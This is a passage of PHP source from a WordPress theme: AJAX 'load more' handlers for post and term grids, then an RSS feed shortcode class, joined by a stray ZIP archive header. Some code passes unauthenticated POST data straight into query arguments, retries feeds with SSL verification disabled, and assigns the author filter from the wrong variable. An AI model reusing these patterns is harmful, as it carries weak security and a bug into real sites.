			$new_offset = (isset($settings['query']['offset']) && $settings['query']['offset']) ? intval($settings['query']['offset']) : 0;
			$args['offset'] = $new_offset + ($arppp * ($pagednum - 1));

			if ('cat' == $archivetype) {
				$args['cat'] = $archivevalue;
			} elseif ('tag' == $archivetype) {
				$args['tag_id'] = $archivevalue;
			} elseif ('day' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
						'day' => isset($date_arr[1]) ? $date_arr[1] : '',
					),
				);
			} elseif ('month' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					),
				);
			} elseif ('year' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					),
				);
			} elseif ('search' == $archivetype) {
				$args['s'] = $archivevalue;

				if (!get_theme_mod('penci_include_search_page')) {
					$post_types = get_post_types(
						array(
							'public' => true,
							'show_in_nav_menus' => true,
						),
						'names'
					);
					$array_include = array();
					foreach ($post_types as $key => $val) {
						if ('page' != $key) {
							$array_include[] = $key;
						}
					}
					$args['post_type'] = $array_include;

				} elseif (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} elseif ('author' == $archivetype) {
				$args['author'] = $archivevalue;

				if (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} else {
				$args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field' => 'term_id',
						'terms' => array($archivevalue),
					),
				);
			}
		}

		if ($cat || $tag || $author) {
			$orderby = get_theme_mod('penci_general_post_orderby');
			if (!$orderby):
				$orderby = 'date';
			endif;

			$order = get_theme_mod('penci_general_post_order');
			if (!$order):
				$order = 'DESC';
			endif;
			$args = array(
				'post_type' => isset($settings['query']['post_type']) ? $settings['query']['post_type'] : 'post',
				'post_status' => 'publish',
				'posts_per_page' => $per_page,
				'orderby' => isset($settings['query']['orderby']) ? $settings['query']['orderby'] : $orderby,
				'order' => isset($settings['query']['order']) ? $settings['query']['order'] : $order,
			);
			if ($pagednum > 1) {
				$args['offset'] = $per_page * ($pagednum - 1);
			}
		}

		if ($cat) {
			$args['cat'] = $cat;
		}

		if ($tag) {
			$args['tag_id'] = $tag;
		}

		if ($author) {
			$args['author'] = $tag;
		}

		if ($pagednum) {
			$args['paged'] = $pagednum;
		}
		$args = apply_filters( 'penci_elementor_query_' . $query_id, $args );
		$loop = new WP_Query($args);

		$class_check = $args['paged'] >= $loop->max_num_pages ? 'pc-nomorepost' : 'pc-hasmorepost';
		if ($loop->have_posts()):
			$num_posts = $loop->post_count;
			$big_items = penci_big_grid_is_big_items($biggid_style);
			$bg = 1;
			if ($flag_style) {
				echo '<div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
			}
			while ($loop->have_posts()):
				$loop->the_post();
				$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				$is_big_item = '';
				$surplus = penci_big_grid_count_classes($bg, $biggid_style, true);
				$thumbnail = $thumb_size;
				if (!empty($big_items) && in_array($surplus, $big_items)) {
					$thumbnail = $bthumb_size;
					$is_big_item = ' pcbg-big-item';
				}
				if (penci_is_mobile()) {
					$thumbnail = $mthumb_size;
				}
				if (!$is_big_item) {
					if ('yes' == $hide_cat_small) {
						$hide_cat_small_flag = true;
					}
					if ('yes' == $hide_meta_small) {
						$hide_meta_small_flag = true;
					}
					if ('yes' == $hide_excerpt_small) {
						$hide_excerpt_small_flag = true;
					}
					if ('yes' == $hide_rm_small) {
						$hide_rm_small_flag = true;
					}
				}

				if ('style-1' == $biggid_style || 'style-2' == $biggid_style) {
					$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				}

				if (isset($settings['jscomposer']) && $settings['jscomposer'] == 'yes') {
					include locate_template('inc/js_composer/shortcodes/big_grid/based-post.php');
				} else {
					include locate_template('inc/elementor/modules/penci-big-grid/widgets/based-post.php');
				}

				if ($flag_style && $surplus == 0 && $bg < $num_posts) {
					echo '</div><div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
				}

				++$bg;
			endwhile;

			if ($flag_style) {
				echo '</div>';
			}

			echo '<span class="' . $class_check . '"></span>';

		endif; /* End check if no posts */

		wp_reset_postdata();

		exit;
	}
}

/**
 * Functions callback when using ajax load more posts on Big Grid
 *
 * @since 7.9
 */
if (!function_exists('penci_big_grid_more_terms_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_bgmore_terms_ajax', 'penci_big_grid_more_terms_ajax_func');
	add_action('wp_ajax_penci_bgmore_terms_ajax', 'penci_big_grid_more_terms_ajax_func');
	function penci_big_grid_more_terms_ajax_func() {
		check_ajax_referer('penci_ajax_terms_filter_bg', 'nonce');

		$settings = (isset($_POST['settings'])) ? $_POST['settings'] : array();
		$pagednum = (isset($_POST['pagednum'])) ? (int) $_POST['pagednum'] : 1;
		$query_type = (isset($_POST['query_type'])) ? $_POST['query_type'] : 'post';

		/* Get settings data */
		$flag_style = false;
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		$overlay_type = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy = $settings['disable_lazy'] == 'false' ? false : $settings['disable_lazy'];
		$image_hover = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$thumb_size = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$readmore_icon = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$hide_excerpt_small = $settings['hide_excerpt_small'] == 'false' ? false : $settings['hide_excerpt_small'];
		$hide_rm_small = $settings['hide_rm_small'] == 'false' ? false : $settings['hide_rm_small'];
		$show_formaticon = $settings['show_formaticon'] == 'false' ? false : $settings['show_formaticon'];
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';

		$post_meta = $settings['bg_postmeta'] ? $settings['bg_postmeta'] : array();
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$show_readmore = $settings['show_readmore'] == 'false' ? false : $settings['show_readmore'];
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
		if (!in_array($biggid_style, array('style-1', 'style-2'))) {
			$flag_style = true;
		}

		$args = $settings['query'];

		if ($pagednum) {
			$args['offset'] = ($pagednum - 1) * ($args['number']);
		}

		$loop_temrs = get_terms($args);

		$max_terms = $args;
		unset($max_terms['number']);
		unset($max_terms['offset']);

		$max_terms_count = count(get_terms($max_terms));
		$settings = array();
		$settings['term_name'] = $args['taxonomy'];

		$class_check = $pagednum >= ceil($max_terms_count / $args['number']) ? 'pc-nomorepost' : 'pc-hasmorepost';
		if ($loop_temrs):
			$num_posts = count($loop_temrs);
			$big_items = penci_big_grid_is_big_items($biggid_style);
			$bg = 1;
			if ($flag_style) {
				echo '<div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
			}
			foreach ($loop_temrs as $setting):
				$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				$is_big_item = '';
				$surplus = penci_big_grid_count_classes($bg, $biggid_style, true);
				$thumbnail = $thumb_size;
				if (!empty($big_items) && in_array($surplus, $big_items)) {
					$thumbnail = $bthumb_size;
					$is_big_item = ' pcbg-big-item';
				}
				if (penci_is_mobile()) {
					$thumbnail = $mthumb_size;
				}
				if (!$is_big_item) {
					if ('yes' == $hide_excerpt_small) {
						$hide_excerpt_small_flag = true;
					}
					if ('yes' == $hide_rm_small) {
						$hide_rm_small_flag = true;
					}
				}

				if ('style-1' == $biggid_style || 'style-2' == $biggid_style) {
					$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
				}

				$post_count = $setting->count;
				$image_url = get_default_term_thumb_url($setting->term_id, $thumbnail);

				/* Get Custom Items Data */
				$item_id = ' elementor-repeater-item-' . $setting->term_id;
				$image_ratio = penci_get_ratio_size_based_url($image_url);

				$title = $setting->name;
				$title_link = get_term_link($setting->term_id);
				$title_attr = '';

				$desc = $setting->description;

				include locate_template('inc/elementor/modules/penci-category-listing/widgets/category.php');

				if ($flag_style && $surplus == 0 && $bg < $num_posts) {
					echo '</div><div class="penci-clearfix penci-biggrid-data penci-dblock penci-fixh">';
				}

				++$bg;
			endforeach;

			if ($flag_style) {
				echo '</div>';
			}

			echo '<span class="' . $class_check . '"></span>';

		endif; /* End check if no posts */

		wp_reset_postdata();

		exit;
	}
}

add_action( 'wp_ajax_penci_fix_polylang_translation', 'penci_fix_polylang_translation' );
function penci_fix_polylang_translation() {
	
	check_ajax_referer( 'penci_fix_polylang_translation', '_nonce' );

	$theme_path = get_template_directory();
	$wpml_config_path = $theme_path . '/wpml-config.xml';
	$wpml_config_bk_path = $theme_path . '/wpml-config-bk.xml';

	if (file_exists($wpml_config_path)) {
		rename($wpml_config_path, $wpml_config_bk_path);
	}

	wp_send_json_success();	
}PK     N\-      inc/rss_feed.phpnu [        <?php

class Penci_Rss_Feed {
	public static $shortcode_count = 1;

	public static function get_rss( $atts, $content = '' ) {
		$sc                   = self::get_short_code_attributes( $atts );
		$remove_default_style = isset( $sc['disable_default_style'] ) && in_array( (string) $sc['disable_default_style'], array(
				'1',
				'y',
				'yes'
			), true );
		if ( ! $remove_default_style ) {
			$settings = apply_filters( 'penci_rss_feed_get_settings', array() );
			if ( ! empty( $settings['general']['disable-default-style'] ) ) {
				$remove_default_style = true;
			}
		}


		$feed_url = self::normalize_urls( $sc['feeds'] );
		if ( empty( $feed_url ) ) {
			return $content;
		}
		$cache = $sc['refresh'];

		// Disregard the pseudo-shortcode coming from Gutenberg as a lazy one.
		if ( ( true === $sc['lazy'] || 'yes' === $sc['lazy'] ) && ! isset( $sc['gutenberg'] ) ) {
			$attributes = '';
			foreach ( $sc as $key => $val ) {
				// ignore the feedData, its not required.
				if ( 'feedData' === $key ) {
					continue;
				}
				if ( is_array( $val ) ) {
					$val = implode( ',', $val );
				}
				$attributes .= 'data-' . esc_attr( $key ) . '="' . esc_attr( $val ) . '"';
			}
			$lazyload_cache_key = md5( sprintf( 'pcrss-lazy-%s', ( is_array( $feed_url ) ? implode( ',', $feed_url ) : $feed_url ) ) );
			$content            = get_transient( $lazyload_cache_key );

			// the first time the shortcode is being called it will not have any content.
			if ( empty( $content ) ) {
				$content = apply_filters( 'penci_rss_feed_lazyload_loading_msg', __( 'Loading', 'soledad' ) . '...', $feed_url );
			} else {
				$attributes .= 'data-has_valid_cache="true"';
			}
			$class = array_filter( apply_filters( 'penci_rss_feed_add_classes_block', array(
				$sc['classname'],
				'pcrss-' . md5( is_array( $feed_url ) ? implode( ',', $feed_url ) : $feed_url )
			), $sc, null, $feed_url ) );
			$html  = "<div class='pcrss-lazy' $attributes>";
			$html  .= "$content</div>";

			return $html;
		}

		$feed = self::fetch_feed( $feed_url, $cache, $sc );
		if ( is_string( $feed ) ) {
			return $feed;
		}
		$sc      = self::sanitize_attr( $sc, $feed_url );
		$content = self::render_content( $sc, $feed, $feed_url, $content );

		return $content;
	}

	public static function get_short_code_attributes( $atts ) {
		// Retrieve & extract shortcode parameters.
		$sc = shortcode_atts(
			array(
				// comma separated feeds url.
				'feeds'                 => '',
				// number of feeds items (0 for unlimited).
				'max'                   => '5',
				// display feed title yes/no.
				'feed_title'            => 'yes',
				// _blank, _self
				'target'                => '_blank',
				// empty or no for nofollow.
				'follow'                => '',
				// strip title after X char. X can be 0 too, which will remove the title.
				'title'                 => '',
				// yes (author, date, time), no (NEITHER), author, date, time, categories
				// tz=local (for date/time in blog time)
				// tz=gmt (for date/time in UTC time, this is the default)
				// tz=no (for date/time in the feed, without conversion).
				'meta'                  => 'yes',
				// yes (all), no (NEITHER)
				// source: show feed title.
				'multiple_meta'         => 'no',
				// strip title.
				'summary'               => 'yes',
				// strip summary after X char.
				'summarylength'         => '',
				// yes, no, auto.
				'thumb'                 => 'auto',
				// default thumb URL if no image found (only if thumb is set to yes or auto).
				'default'               => '',
				// thumbs pixel size.
				'size'                  => '',
				// only display item if title contains specific keywords (Use comma(,) and plus(+) keyword).
				'keywords_title'        => '',
				// only display item if title OR content contains specific keywords (Use comma(,) and plus(+) keyword).
				'keywords_inc'          => '',
				// Keyword filter include in specific field( title, description, author ).
				'keywords_inc_on'       => '',
				// Keyword filter exclude in specific field( title, description, author ).
				'keywords_exc_on'       => '',
				// cache refresh.
				'refresh'               => '12_hours',
				// sorting.
				'sort'                  => '',
				// https = force https
				// default = fall back to default image
				// auto = continue as it is.
				'http'                  => 'auto',
				// message to show when feed is empty.
				'error_empty'           => __( 'Feed has no items.', 'soledad' ),
				// to disable amp support, use 'no'. This is currently not available as part of the shortcode tinymce form.
				'amp'                   => 'yes',
				// paginate.
				'offset'                => 0,
				// class name of this block.
				'className'             => '',
				// lazy loading of feeds?
				'lazy'                  => 'no',
				// From datetime.
				'from_datetime'         => '',
				// To datetime.
				'to_datetime'           => '',
				// Disable default style.
				'disable_default_style' => 'no',
			),
			$atts,
			'penci_rss_feed_default'
		);
		if ( ! isset( $sc['classname'] ) ) {
			$sc['classname'] = $sc['className'];
			unset( $sc['className'] );
		}
		$sc = array_merge( $sc, apply_filters( 'penci_rss_feed_get_short_code_attributes_filter', $atts ) );

		return $sc;
	}

	public static function normalize_urls( $raw ) {
		$feeds    = self::process_feed_source( $raw );
		$feed_url = self::get_feed_url( $feeds );
		if ( is_array( $feed_url ) ) {
			foreach ( $feed_url as $index => $url ) {
				$feed_url[ $index ] = trim( self::smart_convert( $url ) );
			}
		} else {
			$feed_url = trim( self::smart_convert( $feed_url ) );
		}

		return $feed_url;
	}

	public static function process_feed_source( $src ) {
		$regex  = '((https?|ftp)\:\/\/)?';                                      // Contains Protocol.
		$regex .= '([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?';  // Uses User and Pass.
		$regex .= '([a-z0-9-.]*)\.([a-z]{2,3})';                                // Has Host or IP.
		$regex .= '(\:[0-9]{2,5})?';                                            // Uses Port.
		$regex .= '(\/([a-z0-9+\$_-]\.?)+)*\/?';                                // Has Path.
		$regex .= '(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?';                   // Has GET Query.
		$regex .= '(#[a-z_.-][a-z0-9+\$_.-]*)?';                                // Uses Anchor.
		if ( preg_match( "/^$regex$/", $src ) ) {
			// If it matches Regex ( it's not a slug ) so return the sources.
			return $src;
		} else {
			return trim( $src );
		}
	}

	public static function smart_convert( $url ) {

		$url = htmlspecialchars_decode( $url );

		// Automatically fix deprecated google news feeds.
		if ( false !== strpos( $url, 'news.google.' ) ) {

			$parts = wp_parse_url( $url );
			parse_str( $parts['query'], $query );

			if ( isset( $query['q'] ) ) {
				$search_query = $query['q'];
				unset( $query['q'] );
				$url = sprintf( 'https://news.google.com/news/rss/search/section/q/%s/%s?%s', $search_query, $search_query, http_build_query( $query ) );

			}
		}

		return apply_filters( 'penci_rss_feed_alter_feed_url', $url );
	}

	public static function fetch_feed( $feed_url, $cache = '12_hours', $sc = '' ) {
		// Load SimplePie if not already.
		do_action( 'penci_rss_feed_pre_http_setup', $feed_url );
		// Load SimplePie Instance.
		$feed = self::init_feed( $feed_url, $cache, $sc ); // Not used as log as #41304 is Opened.

		// Report error when is an error loading the feed.
		if ( is_wp_error( $feed ) ) {
			// Fallback for different edge cases.
			if ( is_array( $feed_url ) ) {
				$feed_url = array_map( 'html_entity_decode', $feed_url );
			} else {
				$feed_url = html_entity_decode( $feed_url );
			}

			$feed_url = self::get_valid_source_urls( $feed_url, $cache );

			$feed = self::init_feed( $feed_url, $cache, $sc ); // Not used as log as #41304 is Opened.

		}

		do_action( 'penci_rss_feed_post_http_teardown', $feed_url );

		return $feed;
	}

	public static function filter_custom_pattern( $keyword = '' ) {
		$pattern = '';
		$regex   = array();
		if ( ! empty( $keyword ) && strlen( preg_replace( '/[^a-zA-Z]/', '', $keyword ) ) <= 500 ) {
			$keywords = explode( ',', $keyword );
			$keywords = array_filter( $keywords );
			$keywords = array_map( 'trim', $keywords );
			if ( ! empty( $keywords ) ) {
				foreach ( $keywords as $keyword ) {
					$keyword = explode( '+', $keyword );
					$keyword = array_map(
						function( $k ) {
							$k = trim( $k );
							return "(?=.*$k)";
						},
						$keyword
					);
					$regex[] = implode( '', $keyword );
				}
				$pattern .= implode( '|', $regex );
			}
		}
		return $pattern;
	}

	public static function sanitize_attr( $sc, $feed_url ) {
		// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
		if ( '0' == $sc['max'] ) {
			$sc['max'] = '999';
		} elseif ( empty( $sc['max'] ) || ! is_numeric( $sc['max'] ) ) {
			$sc['max'] = '5';
		}

		if ( empty( $sc['offset'] ) || ! is_numeric( $sc['offset'] ) ) {
			$sc['offset'] = '0';
		}

		if ( empty( $sc['size'] ) || ! ctype_digit( (string) $sc['size'] ) ) {
			$sc['size'] = '150';
		}
		if ( ! empty( $sc['keywords_title'] ) ) {
			if ( is_array( $sc['keywords_title'] ) ) {
				$sc['keywords_title'] = implode( ',', $sc['keywords_title'] );
			}
			$sc['keywords_title'] = self::filter_custom_pattern( $sc['keywords_title'] );
		}
		if ( ! empty( $sc['keywords_inc'] ) ) {
			if ( is_array( $sc['keywords_inc'] ) ) {
				$sc['keywords_inc'] = implode( ',', $sc['keywords_inc'] );
			}
			$sc['keywords_inc'] = self::filter_custom_pattern( $sc['keywords_inc'] );
		}
		if ( ! empty( $sc['keywords_ban'] ) ) {
			if ( is_array( $sc['keywords_ban'] ) ) {
				$sc['keywords_ban'] = implode( ',', $sc['keywords_ban'] );
			}
			$sc['keywords_ban'] = self::filter_custom_pattern( $sc['keywords_ban'] );
		}
		if ( ! empty( $sc['keywords_exc'] ) ) {
			if ( is_array( $sc['keywords_exc'] ) ) {
				$sc['keywords_exc'] = implode( ',', $sc['keywords_exc'] );
			}
			$sc['keywords_exc'] = self::filter_custom_pattern( $sc['keywords_exc'] );
		}
		if ( empty( $sc['summarylength'] ) || ! is_numeric( $sc['summarylength'] ) ) {
			$sc['summarylength'] = '';
		}
		if ( empty( $sc['default'] ) ) {
			$sc['default'] = apply_filters( 'penci_rss_feed_default_image', $sc['default'], $feed_url );
		}

		return $sc;
	}

	private static function render_content( $sc, $feed, $feed_url, $content = '' ) {
		$count                   = 0;
		$sizes                   = array(
			'width'  => $sc['size'],
			'height' => $sc['size'],
		);
		$sizes                   = apply_filters( 'penci_rss_feed_thumb_sizes', $sizes, $feed_url );
		$feed_title              = self::get_feed_title_filter( $feed, $sc, $feed_url );
		
		if ( $feed->error() ) {
			$content .= apply_filters( 'penci_rss_feed_default_error', $feed->error(), $feed, $feed_url );
		}

		$feed_items = self::get_feed_array( array(), $sc, $feed, $feed_url, $sizes );
		$class      = array_filter( apply_filters( 'penci_rss_feed_add_classes_block', array(
			$sc['classname'],
			'pcrss-' . md5( is_array( $feed_url ) ? implode( ',', $feed_url ) : $feed_url )
		), $sc, $feed, $feed_url ) );

		$main_class = 'pcrss-rss';
		if ( isset( $sc['disable_default_style'] ) && 'yes' === $sc['disable_default_style'] ) {
			$main_class = 'pcrss-' . self::$shortcode_count;
			if ( isset( $feed_title['rss_classes'] ) ) {
				$feed_title['rss_classes'][]         = $main_class;
				$feed_title['disable_default_style'] = true;
			}
			self::$shortcode_count ++;
		}
		$class[] = $main_class;

		$type                 = $sc['type'] ? $sc['type'] : '';
		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		$item_class          = 'normal-item';
		if ( 'crs' == $type ) {
			$inner_wrapper_class .= ' penci-owl-carousel swiper penci-owl-carousel-slider';
			$item_class          = 'swiper-slide';
		}

		$inner_wrapper_class .= ' pcsl-imgpos-' . $sc['imgpos'];
		$inner_wrapper_class .= ' pcsl-col-' . $sc['column'];
		$inner_wrapper_class .= ' pcsl-tabcol-' . $sc['tab_column'];
		$inner_wrapper_class .= ' pcsl-mobcol-' . $sc['mb_column'];
		if ( 'yes' == $sc['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ( 'yes' == $sc['hide_cat_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ( 'yes' == $sc['hide_meta_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ( 'yes' == $sc['hide_excerpt_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ( 'yes' == $sc['hide_rm_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ( 'yes' == $sc['imgtop_mobile'] && in_array( $sc['imgpos'], array( 'left', 'right' ) ) ) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ( 'yes' == $sc['ver_border'] ) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		$content .= '<div class="penci-smalllist-wrapper">';
		$content .= '<div class="penci-smalllist pcsl-wrapper pwsl-id-default">';
		$content .= '<div class="' . esc_attr( implode( ' ', $class ) .' ' . $inner_wrapper_class ) . '">';
		

		if ( empty( $feed_items ) ) {
			$content .= esc_html( $sc['error_empty'] );
			$content .= '</div></div></div>';

			return $content;
		}

		$settings['disable_lazy'] = true;

		
		foreach ( $feed_items as $item ) {

				$wrap_item_class = empty( $item['item_img_path'] ) || 'no' == $sc['thumb'] ? ' pcsl-nothumb' : '';
				
				$content .= '<div class="pcsl-item'.$wrap_item_class.'"><div class="pcsl-itemin"><div class="pcsl-iteminer">';
				
				if ( ! empty( $item['item_img_path'] ) && 'no' !== $sc['thumb'] ) {
                	$content .= '<div class="pcsl-thumb">';
					$content .= '<a ' . penci_layout_bg($item['item_img_path'], 'yes' != $settings['disable_lazy']) . 
					' href="' . esc_url( $item['item_url'] ) . '" title="' . wp_strip_all_tags($item['item_title']) . 
					'" class="' . penci_layout_bg_class('yes' != $settings['disable_lazy']) . ' penci-image-holder"' . '>' . 
					penci_layout_img($item['item_img_path'], $item['item_title'], 'yes' != $settings['disable_lazy']) . 
					'</a>';
					$content .= '</div>';
				}

				$content .= '<div class="pcsl-content">';
				
				$content .= '<div class="pcsl-title"><a rel="'.esc_attr( $item['item_url_follow'] ).'" target="'.esc_attr( $item['item_url_target'] ).'" href="'.esc_url( $item['item_url'] ).'">'.$item['item_title'].'</a></div>';
				
				$content .= '<div class="grid-post-box-meta pcsl-meta">';
				$content .= empty( $item['item_meta'] ) ? '' : sprintf( '<span>%s</span>', wp_kses_post( $item['item_meta'] ) );
				$content .= '</div>';

				if ( 'side' == $sc['excerpt_pos'] ) {

					$content .= '<div class="pcbg-pexcerpt pcsl-pexcerpt">';
					$content .= empty( $item['item_description'] ) ? '' : sprintf( '<p>%s</p>', wp_kses_post( $item['item_description'] ) );
					$content .= '</div>';
					$content .= '</div>';

				
		
				} else {
					$content .= '</div>';
					$content .= '<div class="pcsl-flex-full">';
					$content .= '<div class="pcbg-pexcerpt pcsl-pexcerpt">';
					$content .= empty( $item['item_description'] ) ? '' : sprintf( '<p>%s</p>', wp_kses_post( $item['item_description'] ) );
					$content .= '</div>';
					$content .= '</div>';
					
				}

				
				
				
                $content .= '</div></div></div>';
			
		}
		$content .= '</div></div></div>';
		

		return $content;
	}

	public static function init_feed( $feed_url, $cache, $sc, $allow_https = true ) {
		$unit_defaults = array(
			'mins'  => MINUTE_IN_SECONDS,
			'hours' => HOUR_IN_SECONDS,
			'days'  => DAY_IN_SECONDS,
		);
		$cache_time    = 12 * HOUR_IN_SECONDS;
		$cache         = trim( $cache );
		if ( isset( $cache ) && '' !== $cache ) {
			list( $value, $unit ) = explode( '_', $cache );
			if ( isset( $value ) && is_numeric( $value ) && $value >= 1 && $value <= 100 ) {
				if ( isset( $unit ) && in_array( strtolower( $unit ), array( 'mins', 'hours', 'days' ), true ) ) {
					$cache_time = $value * $unit_defaults[ $unit ];
				}
			}
		}

		$feed = new Penci_SimplePie( $sc );
		if ( ! $allow_https && method_exists( $feed, 'set_curl_options' ) ) {
			$feed->set_curl_options(
				array(
					CURLOPT_SSL_VERIFYHOST => false,
					CURLOPT_SSL_VERIFYPEER => false,
				)
			);
		}
		require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
		require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';

		$feed->set_file_class( 'WP_SimplePie_File' );
		$default_agent = self::get_default_user_agent( $feed_url );
		$feed->set_useragent( apply_filters( 'http_headers_useragent', $default_agent ) );
		if ( false === apply_filters( 'penci_rss_feed_disable_db_cache', false, $feed_url ) ) {
			SimplePie_Cache::register( 'wp_transient', 'WP_Feed_Cache_Transient' );
			$feed->set_cache_location( 'wp_transient' );
			if ( ! has_filter( 'wp_feed_cache_transient_lifetime' ) ) {
				add_filter(
					'wp_feed_cache_transient_lifetime',
					function ( $time ) use ( $cache_time ) {
						return $cache_time;
					},
					10,
					1
				);
			}
			$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', $cache_time, $feed_url ) );
		} else {
			require_once ABSPATH . 'wp-admin/includes/file.php';
			WP_Filesystem();
			global $wp_filesystem;

			$dir = $wp_filesystem->wp_content_dir() . 'uploads/simplepie';
			if ( ! $wp_filesystem->exists( $dir ) ) {
				$done = $wp_filesystem->mkdir( $dir );
				
			}
			$feed->set_cache_location( $dir );
		}

		// Do not use force_feed for multiple URLs.
		$feed->force_feed( apply_filters( 'penci_rss_feed_force_feed', ( is_string( $feed_url ) || ( is_array( $feed_url ) && 1 === count( $feed_url ) ) ) ) );

		do_action( 'penci_rss_feed_modify_feed_config', $feed );

		$cloned_feed = clone $feed;

		// set the url as the last step, because we need to be able to clone this feed without the url being set
		// so that we can fall back to raw data in case of an error.
		$feed->set_feed_url( $feed_url );

		if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
			$set_server_agent = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );
			$feed->set_useragent( apply_filters( 'http_headers_useragent', $set_server_agent ) );
		}

		global $penci_rss_feed_current_error_reporting;
		$penci_rss_feed_current_error_reporting = error_reporting();

		// to avoid the Warning! Non-numeric value encountered. This can be removed once SimplePie in core is fixed.
		if ( version_compare( phpversion(), '7.1', '>=' ) ) {
			error_reporting( E_ALL & ~E_WARNING & ~E_DEPRECATED );
			// reset the error_reporting back to its original value.
			add_action(
				'shutdown',
				function () {
					global $penci_rss_feed_current_error_reporting;
					error_reporting( $penci_rss_feed_current_error_reporting );
				}
			);
		}

		$feed->init();

		if ( ! $feed->get_type() ) {
			return $feed;
		}

		$error = $feed->error();
		// error could be an array, so let's join the different errors.
		if ( is_array( $error ) ) {
			$error = implode( '|', $error );
		}

		if ( ! empty( $error ) ) {

			// curl: (60) SSL certificate problem: unable to get local issuer certificate
			if ( strpos( $error, 'SSL certificate' ) !== false ) {
				$feed = self::init_feed( $feed_url, $cache, $sc, false );
			} elseif ( is_string( $feed_url ) || ( is_array( $feed_url ) && 1 === count( $feed_url ) ) ) {
				$data = wp_remote_retrieve_body( wp_safe_remote_get( $feed_url, array( 'user-agent' => $default_agent ) ) );
				$cloned_feed->set_raw_data( $data );
				$cloned_feed->init();
				$error_raw = $cloned_feed->error();
				if ( empty( $error_raw ) ) {
					// only if using the raw url produces no errors, will we consider the new feed as good to go.
					// otherwise we will use the old feed.
					$feed = $cloned_feed;
				}
			}
		}

		return $feed;
	}

	private static function get_feed_title_filter( $feed, $sc, $feed_url ) {
		return array(
			'rss_url'               => $feed->get_permalink(),
			'rss_title_class'       => 'rss_title',
			'rss_title'             => html_entity_decode( $feed->get_title() ),
			'rss_description_class' => 'rss_description',
			'rss_description'       => $feed->get_description(),
			'rss_classes'           => array(
				$sc['classname'],
				'pcrss-' . md5( is_array( $feed_url ) ? implode( ', ', $feed_url ) : $feed_url )
			),
		);
	}

	private static function get_default_user_agent( $urls ) {

		$set = array();
		if ( ! is_array( $urls ) ) {
			$set[] = $urls;
		}
		foreach ( $set as $url ) {
			if ( strpos( $url, 'medium.com' ) !== false ) {
				return 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36';
			}
		}

		return SIMPLEPIE_USERAGENT;
	}

	protected function get_valid_source_urls( $feed_url, $cache, $echo = true ) {
		$valid_feed_url = array();
		if ( is_array( $feed_url ) ) {
			foreach ( $feed_url as $url ) {
				$source_type = 'xml';
				if ( self::check_valid_source( $url, $cache, $source_type ) ) {
					$valid_feed_url[] = $url;
				} else {
					if ( $echo ) {
						echo wp_kses_post( sprintf( __( 'Feed URL: %s not valid and removed from fetch.', 'soledad' ), '<b>' . esc_url( $url ) . '</b>' ) );
					}
				}
			}
		} else {
			$source_type = 'xml';
			if ( self::check_valid_source( $feed_url, $cache, $source_type ) ) {
				$valid_feed_url[] = $feed_url;
			} else {
				if ( $echo ) {
